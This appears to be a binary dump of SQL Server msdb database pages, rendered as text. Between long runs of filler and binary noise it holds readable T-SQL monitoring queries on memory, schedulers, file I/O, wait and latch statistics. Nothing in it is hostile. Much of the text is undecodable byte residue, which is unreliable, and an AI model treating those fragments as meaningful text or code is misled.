!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
Zc@.^bjk8!!!!`	ndIc=v>Disk Usage - Data Files4
v<Disk Usage - Log Files?
vNServer Activity - DMV SnapshotsF
v\Server Activity - Performance CountersK
vRQuery Statistics - Query ActivityR
v\Utility Information - Managed Instance
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!R`
Ze@,^d8!!!!`'X/6
fT
}>0'(C-5nc30'(C.5nc40'AD09clust0'AD15nc10'UGTE+xkPK__backupfi__760CD67ADEB0E5E00'F+2kPK__syssessi__69B13FDCD888F7100'F3?nonclust0'0H+ykPK__backupfi__57D1800AC4FFEEA30'*eH+akPK__sysmail___DD70126420ED5B950'~H59clust0' 
K+zkPK__restoreh__FDC4B031A97E0FE60' 
K{]restorehistorybackupset0'*BK+bkPK__sysmail___78E6FD33C37F36000')?K79clust0')?K85nc10')?K95nc20'bcL+:kPK__sysjobst__9E2397E06FA0D04D'VM|'O}0'eQ+;kPK__syssched__C46A8A6F9F7D6ED00'eQ a_WA_Sys_00000005_5165187F0'eQ a_WA_Sys_00000004_5165187F0'eQ a_WA_Sys_00000003_5165187F0'eQ a_WA_Sys_00000002_5165187F':Q~0':QMlogmarkhistory10':QMlogmarkhistory2'fS0'rW+kPK__log_ship__ED3BE111B6D897E90'X=9clust0's{F+}PK_syspolicy_target_set_levels_internal0'V+PK_syspolicy_policy_category_subscriptions0'VUX_syspolicy_policy_category_subscriptions0'nJM+pk_sysutility_mi_configuration_internal_configuration_id0'.HS+PK_sysutility_mi_dac_execution_statistics_internal0'.HSKkUQ__sysutili__A5C7DBB701255F430'.HSKkUQ__sysutili__0717EC61238BDACB0'V+PK_sysutility_mi_session_statistics_internal0'X\G+PK_sysutility_ucp_mi_database_health_internal_name0'dM+PK_sysutility_ucp_dac_file_space_health_internal_name0'>R+PK_sysutility_ucp_mi_volume_space_health_internal_name0'ΞV+PK_sysutility_ucp_computer_cpu_health_internal_name0's{F a_WA_Sys_00000004_46D27B730's{F a_WA_Sys_00000002_46D27B730'(C a_WA_Sys_00000004_4316F9280'(C a_WA_Sys_00000002_4316F9280'fS a_WA_Sys_00000001_53A266ACkPK__sysmanag__752ABCF9A354EE2F0'eIX_sysmanagement_shared_server_groups_name'Pj0'PjIX_sysmanagement_shared_registered_servers_clustGroupID0'PjKUQ_sysmanagement_unique_server_name_per_group0'Pj+kPK__sysmanag__ED5B5C59651AEF5D0'PjIX_sysmanagement_shared_registered_servers_name0's{F+}PK_syspolicy_target_set_levels_internal0'V+PK_syspolicy_policy_category_subscriptions0'VUX_syspolicy_policy_category_subscriptions0'\+kPK__syspolic__409BC9E5A43A0EC90'\IX_syspolicy_system_health_state_internal_policy_id0'\IX_syspolicy_system_health_state_internal_target_query_expression_with_id0'vM`+kPK__syspolic__096AA2E9D00BEAF60'vM`IX_syspolicy_policy_execution_history_internal_end_date_policy_id0'vM`IX_syspolicy_policy_execution_history_internal_policy_id0'>o3h+PK_syspolicy_policy_execution_history_details_id0'nJM+pk_sysutility_mi_configuration_internal_configuration_id0'.HS+PK_sysutility_mi_dac_execution_statistics_internal0'.HSKkUQ__sysutili__A5C7DBB701255F430'.HSKkUQ__sysutili__0717EC61238BDACB0'V+PK_sysutility_mi_session_statistics_internal'!X'ր]'Eb0'X\G+PK_sysutility_ucp_mi_database_health_internal_name0'dM+PK_sysutility_ucp_dac_file_space_health_internal_name0'>R+PK_sysutility_ucp_mi_volume_space_health_internal_name!!!!!!!!!!!!!!!!!111}RQ]

S

Qo:>"h/&

a=	
Ov
	h+Z
 ^
2$\#M
Ev	8`
g@! vH=ocess_memory AS pm
CROSS JOIN sys.dm_os_sys_memory AS sm   -- single-row DMV
CROSS JOIN sys.dm_os_sys_info AS si;    -- single-row DMV
sql_process_and_system_memory

SET NOCOUNT ON
SELECT 
    memory_node_id, 
    virtual_address_space_reserved_kb, 
    virtual_address_space_committed_kb, 
    locked_page_allocations_kb, 
    -- In SQL 2008 and 2008 R2, we collected the [single_pages_kb] and [multi_pages_kb] columns 
    -- from this DMV. In later versions, the memory manager has been changed so that the fundamental 
    -- distinction between single-page and multi-page allocations no longer exists.  As a result, 
    -- these two columns were removed, and a "pages_kb" column was added instead.  In the MDW 
    -- database, these two columns were just added together to calculate total memory allocated 
    -- by the memory node.  We don't want to remove these columns from the destination table since 
    -- that would break all SQL2008/2008R2 clients until they could be patched.  So, to maximize 
    -- backwards compatibility and minimize the size of this change, we simply return the new 
    -- [pages_kb] value in the existing [single_pages_kb] column.  This isn't an entirely 
    -- accurate name for the value, but it doesn't affect the way that this value is used after 
    -- it has been uploaded to MDW. 
    pages_kb AS single_pages_kb, 
    0 AS multi_pages_kb, 
    shared_memory_reserved_kb, 
    shared_memory_committed_kb
FROM sys.dm_os_memory_nodes
os_memory_nodes
SET NOCOUNT ON
SELECT 
    type,
    memory_node_id as memory_node_id,
    -- See comment in the sys.dm_os_memory_nodes query (above) for more info on 
    -- [single_pages_kb] and [multi_pages_kb]. 
    SUM(pages_kb) as single_pages_kb,
    0 as multi_pages_kb,
    SUM(virtual_memory_reserved_kb) as virtual_memory_reserved_kb,
    SUM(virtual_memory_committed_kb) as virtual_memory_committed_kb,
    SUM(awe_allocated_kb) as awe_allocated_kb,
    SUM(shared_memory_reserved_kb) as shared_memory_reserved_kb,
    SUM(shared_memory_committed_kb) as shared_memory_committed_kb
FROM sys.dm_os_memory_clerks
GROUP BY type, memory_node_idos_memory_clerks
SET NOCOUNT ON
SELECT 
    [parent_node_id],
    [scheduler_id],
    [cpu_id],
    [status],
    [is_idle],
    [preemptive_switches_count],
    [context_switches_count],
    [yield_count],
    [current_tasks_count],
    [runnable_tasks_count],
    [work_queue_count],
    [pending_disk_io_count]
FROM sys.dm_os_schedulers
WHERE scheduler_id < 128

os_schedulers
SELECT 
    DB_NAME (f.database_id) AS database_name, f.database_id, f.name AS logical_file_name, f.[file_id], f.type_desc, 
    CAST (CASE 
        -- Handle UNC paths (e.g. '\\fileserver\readonlydbs\dept_dw.ndf' --> '\\fileserver\readonlydbs')
        WHEN LEFT (LTRIM (f.physical_name), 2) = '\\' 
            THEN LEFT (LTRIM (f.physical_name), CHARINDEX ('\', LTRIM (f.physical_name), CHARINDEX ('\', LTRIM (f.physical_name), 3) + 1) - 1)
        -- Handle local paths (e.g. 'C:\Program Files\...\master.mdf' --> 'C:') 
        WHEN CHARINDEX ('\', LTRIM(f.physical_name), 3) > 0 
            THEN UPPER (LEFT (LTRIM (f.physical_name), CHARINDEX ('\', LTRIM (f.physical_name), 3) - 1))
        ELSE f.physical_name
    END AS nvarchar(255)) AS logical_disk, 
    fs.num_of_reads, fs.num_of_bytes_read, fs.io_stall_read_ms, fs.num_of_writes, fs.num_of_bytes_written, 
    fs.io_stall_write_ms, fs.size_on_disk_bytes
FROM sys.dm_io_virtual_file_stats (default, default) AS fs
INNER JOIN sys.master_files AS f ON fs.database_id = f.database_id AND fs.[file_id] = f.[file_id]
io_virtual_file_statsF
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
ZhI	T.(^gi8!!!!`i@6ϠHv=TSQLQueryCollectorDataCollectorTypensxmlns:nsDataCollectorTypeQueryValue
SET NOCOUNT ON
SELECT 
    LEFT (wait_type, 45) AS wait_type, 
    SUM (waiting_tasks_count) AS waiting_tasks_count, 
    SUM (wait_time_ms) AS wait_time_ms, 
    SUM (signal_wait_time_ms) AS signal_wait_time_ms
FROM 
(
    SELECT 
        LEFT (wait_type, 45) AS wait_type, 
    waiting_tasks_count, 
    wait_time_ms,  
    signal_wait_time_ms
FROM sys.dm_os_wait_stats 
WHERE waiting_tasks_count > 0 OR wait_time_ms > 0 OR signal_wait_time_ms > 0
    UNION ALL 
    SELECT 
        LEFT (wait_type, 45) AS wait_type, 
        1 AS waiting_tasks_count, 
        wait_duration_ms AS wait_time_ms, 
        0 AS signal_wait_time_ms
    FROM sys.dm_os_waiting_tasks
    WHERE wait_duration_ms > 60000
) AS merged_wait_stats
GROUP BY wait_type
OutputTable
os_wait_stats
SET NOCOUNT ON
SELECT 
  LEFT(latch_class,45) as latch_class,
  waiting_requests_count,
  wait_time_ms
FROM sys.dm_os_latch_stats 
WHERE waiting_requests_count > 0 OR wait_time_ms > 0
os_latch_stats
SET NOCOUNT ON
SELECT 
